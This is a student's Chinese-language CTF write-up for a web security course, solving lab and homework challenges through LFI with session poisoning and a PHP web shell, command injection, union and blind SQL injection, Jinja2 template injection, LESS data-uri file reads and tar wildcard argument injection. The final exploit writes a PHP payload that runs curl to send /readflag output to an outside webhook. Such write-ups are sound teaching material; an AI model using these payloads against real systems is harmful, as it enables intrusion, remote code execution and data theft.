--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x0a] Web I lecture: https://youtu.be/_hasOTGximc slide: https://drive.google.com/file/d/1ii7PT6gDlA5R6jMAKdg9BL8egf5OSym9/view?usp=sharing ### [LAB] Hello from Windows 98 https://windows.ctf.zoolab.org/ #### 首頁 ![](https://i.imgur.com/nU2bK89.png) 看到有 `source`  進去看看 #### `/?source=index` ```php= <?php session_start(); if(isset($_GET['source'])){ highlight_file('./'.$_GET['source'].'.php'); die(); } if(isset($_GET['name']) && $_GET['name']!=''){ $_SESSION['name'] = $_GET['name']; header("Location: /?page=hi.php"); die(); } if(!isset($_GET['page'])){ header("Location: /?page=say.php"); die(); } ?> <!DOCTYPE html> <html> <head> <title>Hello from Windows 98</title> <meta charset="UTF-8" /> <link rel="stylesheet" href="https://unpkg.com/98.css" /> </head> <style> body{ background: url('blue.png'); background-size: cover; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; } </style> </style> <body> <div class="window" style="margin: 32px; width: 500px"> <div class="title-bar"> <div class="title-bar-text"> Hello World.. </div> <div class="title-bar-controls"> <button aria-label="Minimize"></button> <button aria-label="Maximize"></button> <button aria-label="Close"></button> </div> </div> <div class="window-body"> <?php include($_GET['page']);?> </div> </div> </body> </html> ``` #### LFI `:49` 有 `LFI` (因為 `$_GET['page']` 是我們可以控制的) 所以只要能想辦法控制伺服器上的檔案 只要在檔案裡放 `shell` 然後把他 `LFI` 進來 我們就可以 `RCE` 了 #### 控制伺服器上的檔案 `:8` 我們可以控制 `$_SESSION['name']` 而 `$_SESSION['name']` 會被存放在 `/tmp/sess_...` 這個檔案裡 那不就可以控制檔案了? 跟 `LFI` 在一起那不就 `RCE` 了嗎? #### Exploit ##### 控制伺服器上的檔案 我們先把名字設成 ```php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ``` 上面這段的意思是執行 `system($cmd)` 而 `$cmd=$_REQUEST['cmd']` 這樣 `server` 上就會有個檔案裡面放這個了 接著確任 `PHPSESSID` ![](https://i.imgur.com/GI7KExe.png) 我們可以從這個資訊得出 `/tmp/sess_0c9d2172791a136e9c1336ffe922ef09` 就是我們所控制的檔案 只要把這個檔案 `lfi` 進來就有 `RCE` 了 ##### RCE 執行 `ls` ``` /?page=/tmp/sess_0c9d2172791a136e9c1336ffe922ef09&cmd=ls ``` ![](https://i.imgur.com/bfZ2d25.png) 執行 `head *` ``` /?page=/tmp/sess_0c9d2172791a136e9c1336ffe922ef09&cmd=head%20* ``` ![](https://i.imgur.com/3edywWP.png) 然後就拿到 `flag` 了 <!-- https://kb.hitcon.org/post/165429468072/%E9%80%8F%E9%81%8E-lfi-%E5%BC%95%E5%85%A5-php-session-%E6%AA%94%E6%A1%88%E8%A7%B8%E7%99%BC-rce #### `/?source=hi` ```php <?php echo '<h3>Welcome, '.htmlentities(isset($_SESSION['name'])?$_SESSION['name']:'stranger').' !</h3>'; ?> ``` #### `/?source=say` ```php <form> <section class="field-row" style="justify-content: flex-start; margin: 10px;font-size: 20px"> <h5>Say your name!</h5> <input type="text" name="name"> </section> <section class="field-row" style="justify-content: flex-end"> <a href="/?source=index">Source</a> <input type="submit" value="Hi"> </section> </form> ``` --> ### [LAB] Whois Tool https://whoistool.ctf.zoolab.org/ 這題的題目(下圖)有個很直接的 `command injection` 就在 ```echo `whois "{$host}" 2>&1;`; ``` 那邊 `$host` 是我們可以控制的 如果把 `$host` 設成 `";ls;echo "` 上面有 `command injection` 的地方會變成 ```echo `whois "";ls;echo "" 2>&1;`; ``` 所以會多執行到我們的 `ls` ``` http://edu-ctf.zoolab.org:10201/?host=%22;ls;echo%20%22 ``` ![](https://i.imgur.com/HDha9sX.png) 這邊就直接植入 `cat flag.txt` 取得 `flag` ``` http://edu-ctf.zoolab.org:10201/?host=%22%3Bcat+%22flag.txt ``` ![](https://i.imgur.com/CTeahFl.png) ### [LAB] Normal Login Panel (Flag 1) https://login.ctf.zoolab.org/ 題目是一個普通的登入頁面 使用者名稱如果含有一個單引號也會很正常的 `Internal Server Error` 所以感覺有個很正常的 `SQLi` ![](https://i.imgur.com/dLFq9wz.png) ![](https://i.imgur.com/qI0WKlW.png) #### UNION 先取得他 `SELECT` 了幾個東西 `payload` 如下圖 發現 `SELECT` 到 `4` 個東西的時候不會 `500` 其他則是都會 所以覺得他 `SELECT` 了 `4` 個東西 ##### `username=admin' UNION SELECT 0,0,0,0,0 -- a` ![](https://i.imgur.com/GAxhuNm.jpg) ##### `username=admin' UNION SELECT 0,0,0,0 -- a` ![](https://i.imgur.com/O6U9EXM.jpg) #### leak data 試了一下發現第四個 `SELECT` 的地方是放 `login faild count` 可以看到我們放的 `87` 已經被顯示出來 (`Login faild count` 的地方) ##### `username=NONED' UNION SELECT 1,2,3,87 -- a` ![](https://i.imgur.com/biwBRXQ.jpg) 發現可以拿這個地方來 `leak` 東西 ##### `username=admin' UNION SELECT 1,2,3,(SELECT 'a') -- a` ![](https://i.imgur.com/STa3Y7l.jpg) #### sqlite https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md 試了一下把 `sqlite_version()` 放到那個地方會有版本跑出來 所以 `dbms` 是 `sqlite` ```sql admin' UNION SELECT 1,2,3,(SELECT sqlite_version()) -- a ``` ![](https://i.imgur.com/FFWdCeD.jpg) #### `sql` 先取得有哪些 `table` 執行 `SELECT sql FROM sqlite_schema` 看到了 `users` 這個 `table` ```sql admin' UNION SELECT 1,2,3,(SELECT sql FROM sqlite_schema) -- a ``` ![](https://i.imgur.com/H7TcCQs.jpg) #### `username` 接著從 `user` 這個 `table` 裡面看到了 `admin` 這個 `username` ```sql =admin' UNION SELECT 1,2,3,(SELECT username FROM users) -- ``` ![](https://i.imgur.com/M7K8uJG.jpg) #### `password` 接著從 `user` 這個 `table` 找到了 `admin` 的 `password` `admin` 的 `password` 就是這題的 `flag` ```sql =admin' UNION SELECT 1,2,3,(SELECT password FROM users) -- ``` ![](https://i.imgur.com/60QODUz.jpg) ``` FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t} ``` 這邊拿到了第一個 `flag` ### [LAB] Normal Login Panel (Flag 2) 使用這個密碼登入之後看到了 source code ```python= from flask import Flask, request, render_template, render_template_string, send_file from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() app = Flask(__name__) app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db" db.init_app(app) with app.app_context(): db.session.execute(""" CREATE TABLE IF NOT EXISTS users( id Integer PRIMARY KEY, username String NOT NULL UNIQUE, password String, count Integer DEFAULT 0 ); """) db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')") db.session.commit() def login(greet): if not greet: return send_file('app.py', mimetype='text/plain') else: return render_template_string(f"Hello {greet}") @app.route('/', methods=["GET", "POST"]) def index(): if request.method == "GET": return render_template('index.html') else: username = request.form.get('username', '') password = request.form.get('password', '') error = '' user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first() if user and user[1] == password: return login(request.form.get('greet', '')) elif not user: error += "User doesn't exist! " # New feature! count login failed event db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username}) db.session.commit() count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0] error += f'Login faild count: {count[3]}' return render_template('index.html', error=error) if __name__ == "__main__": app.run(host="0.0.0.0") ``` 看到 `:25` 有 `SSTi` 只要登入成功時多帶一個 `greet` 參數就會是可以植入的地方 可以看到我們的 `{{7*7}}` 被算出 `49` 了 ##### `greet={{7*7}}` ![](https://i.imgur.com/iMn2MUq.png) 這邊就直接拿現成的 `payload` 來取得 `RCE` https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti 先來 `ls` 把 `greet` 設成 ```python  {{config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}} ``` ![](https://i.imgur.com/iqyidWD.png) 接著 `cat flag.txt` 把 `greet` 設成 ```python {{config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("cat flag.txt").read()}} ``` ![](https://i.imgur.com/UlpSMah.png) ```python FLAG{S1_fu_Q1_m0_b4N_zHU_ru} ``` ### [HW] PasteWeb (Flag 1) https://login.ctf.zoolab.org/ 題目說 `FLAG` 放在 `Database` 裡面 ![](https://i.imgur.com/ZySNSva.png) 一進來看到正常的登入頁面 ![](https://i.imgur.com/B8Jy4wX.png) 檢查一下 headers ```sh > GET / HTTP/1.1 > Host: pasteweb.ctf.zoolab.org > User-Agent: curl/7.85.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: nginx/1.18.0 (Ubuntu) < Date: Fri, 16 Dec 2022 10:27:36 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 1475 < Connection: keep-alive < X-Powered-By: PHP/7.4.33 < Set-Cookie: PHPSESSID=jtpb29d53gr8je4iat6q95ij32; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Vary: Accept-Encoding < ``` 這邊搓搓看 `.git` 結果有東西 ![](https://i.imgur.com/5nLB9tv.png) 用 `git-dumper` 搓搓看 ![](https://i.imgur.com/1I0HH4Q.jpg) 看起來沒有 登入頁面、資料庫 看到這兩個決定先來試試 `SQL injection` #### SQL injection 先隨意輸入一組密碼看看 ![](https://i.imgur.com/qm4o6HE.png) 會顯示 `Error Login Failed` 可以看到登入時會送出三個參數 ![](https://i.imgur.com/fscYtNp.png) ##### `current_time` 這邊試著竄改看看 `current_time` 發現錯誤訊息變成了 `When do you came from?` ![](https://i.imgur.com/OxEFoPi.jpg) 可以看到 `current_time` 會由前端的 `JavaScript` 控制 ![](https://i.imgur.com/osOkdof.png) 這邊猜測題目會檢查 `current_time` 是不是現在的時間 如果不是的話就會先回傳 `Error: When do you came from?` 如果 `current_time` 才會檢查帳號密碼的正確性 <!-- 如果這個假設是正確的 那一定有人拿這個去 `Burp Suite` 試了好幾個小時發現錯誤訊息都是 `When do you came from?` 那些人真是可憐 而且就算是正常的使用有時候也會觸發 這個出題者也太壞 --> ##### `Error: Bad Hacker` 試著用 ![](https://i.imgur.com/IPwuSQq.png) ![](https://i.imgur.com/V6sG0nd.png) 換放到密碼 ![](https://i.imgur.com/rmsRcnw.png) ![](https://i.imgur.com/zBQ0ZB9.png) ##### SLEEP 換用 各種 `SLEEP` ![](https://i.imgur.com/iroLVhZ.png) ten seconds later... ![](https://i.imgur.com/GovKzGp.png) 看來中了 所以資料庫是 `PostgreSQL` 然後試著放入在不同條件下是否要 `sleep` ``` SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END ``` ``` SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END ``` 發現可以 那到這邊就可以使用回應時間的不同來二分搜索出資料庫的內容了 可是這樣會花很多時間 先試試其他方法 繼續觀察 ##### 回傳多筆資料的 `query` ![](https://i.imgur.com/bqEicU0.png) ![](https://i.imgur.com/hhD6eV2.png) ##### 回傳 0 筆資料的 `query` ![](https://i.imgur.com/KWIWDUs.png) ![](https://i.imgur.com/zFRJhaE.png) 可以觀察到 `回傳 0 筆資料` 會是 `Bad Hacker` `回傳多筆資料` 會是 `Login Failed` <!-- ##### ORDER BY 對於存在的 `column` 使用 `ORDERED BY` 那個 `column` 不會出錯 反之會噴錯 而有沒有噴錯會有兩種不同的回應 出錯會是 `Bad Hacker` 沒有則是 `Login Failed` ![](https://i.imgur.com/T1azbeG.png) ![](https://i.imgur.com/avmhKkN.png) ![](https://i.imgur.com/EzBEhwC.png) ![](https://i.imgur.com/Mvi6Qiu.png) ![](https://i.imgur.com/NcBRhwZ.png) ![](https://i.imgur.com/50CybB8.png) ![](https://i.imgur.com/7cpcBYk.png) ![](https://i.imgur.com/FwiQNZH.png) ##### 取得 `query` `select` 的數量 ![](https://i.imgur.com/0acxwBM.png) ![](https://i.imgur.com/4nVjFyx.png) ![](https://i.imgur.com/DyKcGZp.png) ![](https://i.imgur.com/qtfsdwc.png) --> ##### time based attack 然後試了一些其他的之後覺得還是來用 `time based` 來取得資料庫的內容 這個時候就直接拿出 `sqlmap` 來幫我們做 我們從上面知道 `current_time` 如果不正確的話連 `SQL query` 都不會執行 不過 `sqlmap` 有一個選項叫做 `--preprocess` 他的功能是在送出請求之前 可以使用自訂的 `script` 先處理請求 而這符合我們的需求 只要在送出請求之前 把 `current_time` 蓋成正確的 `current_time` 就可以繞過這個限制了 `PasteWeb/sqmap/tamper.py` ```python= !/usr/bin/env python from time import time def preprocess(req): if req.data: req.data += bytes('&current_time=' + str(int(time())), encoding='utf-8') return req ``` 開啟 `sqlmap` 可以看到跟我們上面所發現的 `time-based` 一樣 ![](https://i.imgur.com/0TS1AAp.jpg) 繼續跑下去可以看到有一個 `table` 叫做 `s3cr3t_t4b1e` 感覺 `flag` 就在裡面 然後看到 `sqlmap` 先 `dump` 出了 `pasteweb_accounts` 不過這個 `table` 有 76 個 `record` 直接跑下去不知道會花幾個小時 所以先按取消 也有取得了幾個 `user` 的密碼了 之後可以拿來用 ![](https://i.imgur.com/uU3YUuU.jpg) 這邊就直接請 `sqlmap` dump 出 `s3cr3t_t4b1e` 就好了 可以看到裡面有 `FLAG` ![](https://i.imgur.com/DHKGgYd.png) ![](https://i.imgur.com/YX2W39B.jpg) ``` FLAG{B1inD_SqL_IiIiiNj3cT10n} ``` ### [HW] PasteWeb (Flag 2) ![](https://i.imgur.com/gTATuUD.png) 看到題目叫我們自己用 `SQL injection` 註冊一個帳號 可是資料庫裡面就已經有那麼多帳號了 就直接用吧 ```c +---------+--------------+----------------------------------+ | user_id | user_account | user_password | +---------+--------------+----------------------------------+ | 1 | admin | 00ff3da3f03eb731c08c1a34de757574 | | 2 | AlaRduTP | d7174725d3b4adef39cce3432faa6250 | | 3 | ccccc | 67c762276bced09ee4df0ed537d164ea | | 4 | qqqqq | 67c762276bced09ee4df0ed537d164ea | +---------+--------------+----------------------------------+ ``` 這邊來搜尋一下 `admin` 的密碼看看 ![](https://i.imgur.com/ikOUlFE.png) 所以 `admin` 的密碼就是 `P@ssw0rD` 試著用這個登入看看 發現近的去 ![](https://i.imgur.com/IeslOho.png) 看到有 5 個功能 都來試試看 #### Edit HTML ![](https://i.imgur.com/fkke7NP.png) #### Edit CSS ![](https://i.imgur.com/fixJMBS.png) #### View ![](https://i.imgur.com/sLpuZEc.png) #### Share ![](https://i.imgur.com/NAFMQGv.png) ``` https://pasteweb.ctf.zoolab.org/view.php?id=21232f297a57a5a743894a0e4a801fc3 ``` 這是他 `share` 的網址 有一點值得注意的是他的 `id` 放的是 `admin` 的 `MD5` 感覺可以去偷看其他使用者的東西 來偷看 `xmaple555` 的東西看看 我們把 `view.php?id=` 設成 `MD5('xmaple555')` ![](https://i.imgur.com/uoH5HuM.png) 他的東西看起來很酷 把他的 `content: url("")` 裡面的東西下載來看 發現是個 `zlib compressed data` 解開來看到了很酷的東西 ![](https://i.imgur.com/JB986dH.png) ![](https://i.imgur.com/ojrDlt4.png) 發現上面的檔案是這個 https://github.com/leafo/lessphp/blob/master/lessc.inc.php 來偷看 `Kaiserouo` 的東西看看 這個看起來也很酷 一樣把那個東西揭開來看看 ![](https://i.imgur.com/8xEv3TG.png) 一樣是 `zlib compressed data` 解開來看看 看起來是 `source code` 猜測是 `view.php` 的 `source code` ![](https://i.imgur.com/Ibl4ks2.png) 由上面偷看到的資訊 我們可以推測 在 `less css` 中有可以 `leak source code` 的功能 正當正在偷看別人東西的時候 發現 `admin` 的東西正在被別人編輯 感覺還是去用別的帳號好了 下面幾張圖是別人改出來的東西 ##### `1` ![](https://i.imgur.com/fjAOCTa.png) ##### `2` ![](https://i.imgur.com/FRH7LMg.png) ##### `3` ![](https://i.imgur.com/l7pwMiP.png) ![](https://i.imgur.com/5Y42JX1.png) ##### `4` ![](https://i.imgur.com/rffCHaM.png) ![](https://i.imgur.com/X88nuqK.png) 這邊先用用看上面從資料庫挖出來的 `ccccc/ccccc` `qqqqq/ccccc` `AlaRduTP/AlaRduTP` ##### `ccccc` ![](https://i.imgur.com/zofie4G.png) 試著送出這個發現是錯的 QQ ##### `AlaRduTP` ![](https://i.imgur.com/JWRonkO.png) ![](https://i.imgur.com/Pq9FaPI.png) 就先偷看到這裡 來找找能怎麼讀檔 #### 讀檔 https://lesscss.org/functions/#misc-functions-data-uri 可以知道使用 `data-uri` 就可以把檔案轉換成 `data-uri` 這邊就使用 `qqqqq` 這隻帳戶 ##### `./editcss.php` 試著偷偷看 `./editcss.php` ```css #Ching367436 { background: data-uri('./editcss.php'); } ``` ![](https://i.imgur.com/WHrcywS.png) 會擋 `php` 換用 `/etc/passwd` ##### `/etc/passwd` 成功讀取了檔案 ```css #Ching367436 { background: data-uri('/etc/passwd'); } ``` ![](https://i.imgur.com/froCafI.png) ![](https://i.imgur.com/G76tWou.png) ##### `/proc/self/environ` 成功讀取了檔案 ```css #Ching367436 { background: data-uri('/proc/self/environ'); } ``` 檔案是空的 ![](https://i.imgur.com/Gycar7Y.png) ##### `/proc/self/sched_debug` 沒東西 ```css #Ching367436 { background: data-uri('/proc/self/sched_debug'); } ``` ![](https://i.imgur.com/6tAc44e.png) ##### `/proc/self/exe` 沒東西 ```css #Ching367436 { background: data-uri('/proc/self/exe'); } ``` ![](https://i.imgur.com/N11TDSB.png) ##### `/var/www/html/.git/HEAD` 前面知道有 `.git` `403` 所以來試試看 然後發現有東西 ```css #Ching367436 { background: data-uri('/var/www/html/.git/HEAD'); } ``` ![](https://i.imgur.com/oZ9Y1g7.png) ##### `/var/www/html/.git/config` 有東西 ```css #Ching367436 { background: data-uri('/var/www/html/.git/config'); } ``` ![](https://i.imgur.com/DWBNTGR.png) ##### `/var/www/html/.git/refs/heads/master` ```css #Ching367436 { background: data-uri('/var/www/html/.git/refs/heads/master'); } ``` ![](https://i.imgur.com/mpjVXvA.png) ``` f7fac4b9675f72b3333c732e7ed5a0066d78599d ``` 這個看起來很像 `hash` 的東西其實就是 `git` 的 `hash` 那是會對應到一個 `git` 的 `object file` 那會是壓縮後的 `source code` 也就是我們上面偷看到的 `zlib compress data` 把這個 `object file` 下載來看看 ##### `/var/www/html/.git/objects/f7/fac4b9675f72b3333c732e7ed5a0066d78599d` ```css #Ching367436 { background: data-uri('/var/www/html/.git/objects/f7/fac4b9675f72b3333c732e7ed5a0066d78599d'); } ``` 把他下載然後解壓看看 有出現了其他 `git` 的 `hash` ![](https://i.imgur.com/12ZyTzr.jpg) <!-- https://medium.com/swlh/hacking-git-directories-e0e60fa79a36 --> 這樣慢慢手動挖會花很多時間 所以決定把挖 `.git` 的部分自動化 #### 挖 `.git` 其實有現有的工具可用 https://github.com/arthaud/git-dumper/blob/master/git_dumper.py 可是他是透過 `http` 來下載檔案的 一開始試著修改到他下載檔案的部分看看能不能直接用 結果發現他是平行下載 然後因為我的 `script` 是先去更改 `admin` 的 `less` 然後去讀 `admin` 的 `view.php` 平行運行會怕 `admin` 的 `html` 在被下載之前就有另一個平行的東西把他 `less` 的部分改掉了 所以決定自己來寫一個 `git dumper` #### 寫 `git dumper` 我們可以看到下圖那是上面我原本用的 `git dumper` 的 `source code` 他會先把要下載的 `list` 準備好 然後用 `process_tasks` `:485` 平行的把要下載的東西一次下載好 我們只要把要下載的 `list` 直接複製過來 然後用自己的 `git dumper` 下載就可以了 寫好後回像是下方第二張圖 ##### https://github.com/arthaud/git-dumper/blob/master/git_dumper.py#L463 ![](https://i.imgur.com/nDII6lq.png) ##### `PasteWeb/fetch_git.py` ![](https://i.imgur.com/vAY8KzI.png) 然後就可以把 `.git` 下載下來了 下載好後再 `git checkout .` 一下題目的 `source code` 就會跑出來了! `flag` 就放在 `index.php` ```python= # git checkout print("[-] Running git checkout .\n") os.chdir(directory) # ignore errors subprocess.call(["git", "checkout", "."], stderr=open(os.devnull, "wb")) ``` ![](https://i.imgur.com/u71E69P.png) ``` FLAG{a_l1tTl3_tRicKy_.git_L34k..or_D1d_y0u_f1nD_a_0Day_1n_lessphp?} ``` ### [HW] PasteWeb (Flag 3) 把上一題拿到的 `sourc3 code` 拿來看看 因為 `download.php` 到目前為止還沒被前面的兩題用到 而且看起來很可疑 所以先來看他 ![](https://i.imgur.com/cDdwmfa.png) #### `download.php` ```php= <?php session_start(); if(!isset($_SESSION['name'])){ header("Location: /"); die(); } $sandbox = './sandbox/'.md5($_SESSION['name']).'/'; if (!file_exists($sandbox)){ mkdir($sandbox); } chdir($sandbox); header("Content-Disposition: attachment; filename=download.tar"); shell_exec("tar -cvf download.tar *"); readfile("download.tar"); shell_exec("rm download.tar"); die(); ?> ``` 看到 `:15` 有個危險的地方 `tar -cvf download.tar *` 後面有個 `*` 如果那個地方的檔案名稱我們可以控制的話可以做 `argument injection` 具體概念如下 當有個檔案名稱叫 `-la` 放於目前的目錄下 則執行 `ls *` 會變成 `ls -la` 這表示我們控制了檔案名稱就可以控制參數 ![](https://i.imgur.com/cpiyiNg.png) https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks 我們想要 `/readflag` 所以預計將此植入的結果為 ```sh tar -cvf download.tar '--checkpoint=1' '--checkpoint-action=exec=/readflag' other_files... ``` 之後可以來看看為什麼要這樣設 先來找找可以如何控制這邊檔案名稱的方法吧 來看看 `editcss.php` ##### `editcss.php` ```php= <?php session_start(); if(!isset($_SESSION['name'])){ header("Location: /"); die(); } // When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it require "lessc.inc.php"; $less = new lessc; $sandbox = './sandbox/'.md5($_SESSION['name']).'/'; if (!file_exists($sandbox)){ mkdir($sandbox); } chdir($sandbox); if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){ file_put_contents('input.less', $_POST['less']); $theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default'; $less->compileFile('input.less', $theme.'.css');; $_SESSION['message'] = "CSS updated successfully!"; } ?> ``` 看到 `:20` 的 `$theme` 是我們能控制的 他會創一個檔案 檔案名稱可控 符合我們需求 只是 `:18` 看到會過濾掉 `/` 原本的計畫感覺不太行 而且他還會把檔案名稱加上 `.css` 換個作法 計畫更改為希望把參數注入後的結果如下 ```cpp tar -cvf download.tar '--checkpoint-action=exec=php Ching367436.css' otherfiles.... ``` 來了解一下使用的參數的意思 ##### `--checkpoint-action=exec=php Ching367436.css` 這個參數的意思是 在 `tar` 跑到 `checkpoint` 的時候執行 `php Ching367436.css` 什麼時候會觸發 `checkpoint` 那會有另一個參數去控制 那就是 `--checkpoint` 預設值是 `10` 原本打算直接植入這個參數把他設成 `--checkpoint=1` 這樣 `tar` 跑到第一個 `record` 的時候 就會執行 `php Ching367436.css` 可是我們植入的參數都會被 append `.css` 所以我們只能植入後面可以被加上 `.css` 參數 https://unix.stackexchange.com/questions/153242/in-which-units-does-tar-checkpoint-measure > A checkpoint is a moment of time before writing nth record to the archive (a write checkpoint), or before reading nth record from the archive (a read checkpoint). Checkpoints allow to periodically execute arbitrary actions. > --checkpoint[=NUMBER] show progress messages every Numbers record (default 10) 不過我們可以換用另一個方法 上面看到 `--checkpoint` 預設值是 `10` 要跑到 `10` 個 `record` 後才會執行 那就讓我們的檔案多一點就會跑到第十個 `checkpoint` 就會執行到我們的 `Ching367436.css` 了 <!-- > Conceptual Information: > > If you have ever explored tar to read its optional switches then you will find the following option. > > –checkpoint[=NUMBER] show progress messages every Numbers record (default 10) > > –checkpoint-action=ACTION execute ACTION on each checkpoint > >There is a ‘–checkpoint-action’ option, that will specify the program which will be executed when the checkpoint is reached. Mainly, this permits us to run an arbitrary command. Hence Options ‘–checkpoint=1’ and ‘–checkpoint-action=exec=sh shell.sh’ are handed to the ‘tar’ program as command-line options. > [name=https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/] --> `Ching367436.css` 是我們額外控制的另一個 `css` 同樣透過 `edit less` 的地方植入 ##### `Ching367436.css` ```css #Ching367436 { hello : '<?php echo `curl https://webhook.site/58dbdf7c-75d0-4805-9a3b-617a66dad325/$(/readflag|base64)`; ?>'; } ``` 這是 `css` `php` `polygot` 他除了是合理的 `less` `css` 以外 他還是一個 `php` 如果用 `php` 執行起來做的事情就是 執行 `/readflag` 然後把結果送到我這邊 #### Exploitation 把上面的部分結合起來 可以寫出以下的 `script` 首先 `:3,5` 我們先製造一堆的 `dummy file` 目的是讓 `tar` 能夠跑到第 `10` 個 `checkpoint` 接著 `:6,11` 把我們的 `Ching367436.css` 放進去 然後 `:12` 把檔名叫做 `--checkpoint-action=exec=php Ching367436`+`.css` 的檔案放進去 (`.css` 是 server 加上的) 最後 `:13` 會執行 `download` 而 `download` 的部分 `server` 會執行 `shell_exec("tar -cvf download.tar *");` 而他的 `*` 部分會被換成我們準備好的那些檔案 其中一個檔案名稱會叫做 `--checkpoint-action=exec=php Ching367436.css` `tar` 會覺得這是參數 所以跑到 `checkpoint` 的時候就會執行 `php Ching367436.css` 而 `php Ching367436.css` 會把 `/readflag` 的執行結果送來我的這邊 就可以拿到 `flag` 了 ##### `PasteWeb/edit_css.py` ```python= def main(): login() for i in range(500): print("generating dummy file", i) edit_css(f'#Ching367436 {{ hello: {i}; }}', str(i)) edit_css(''' #Ching367436 { hello : '<?php echo `curl https://webhook.site/58dbdf7c-75d0-4805-9a3b-617a66dad325/$(/readflag|base64)`; ?>'; } ''', 'Ching367436') edit_css('#Ching367436 {}', '--checkpoint-action=exec=php Ching367436') print(download()) ``` ![](https://i.imgur.com/foqpMrh.png) ``` FLAG{aRgUm3nT_Inj3ct10n_2_RcE} ``` <!-- https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/ --> <!-- https://webhook.site/58dbdf7c-75d0-4805-9a3b-617a66dad325/RkxBR3thUmdVbTNuVF9JbmozY3QxMG5fMl9SY0V9Cgo= -->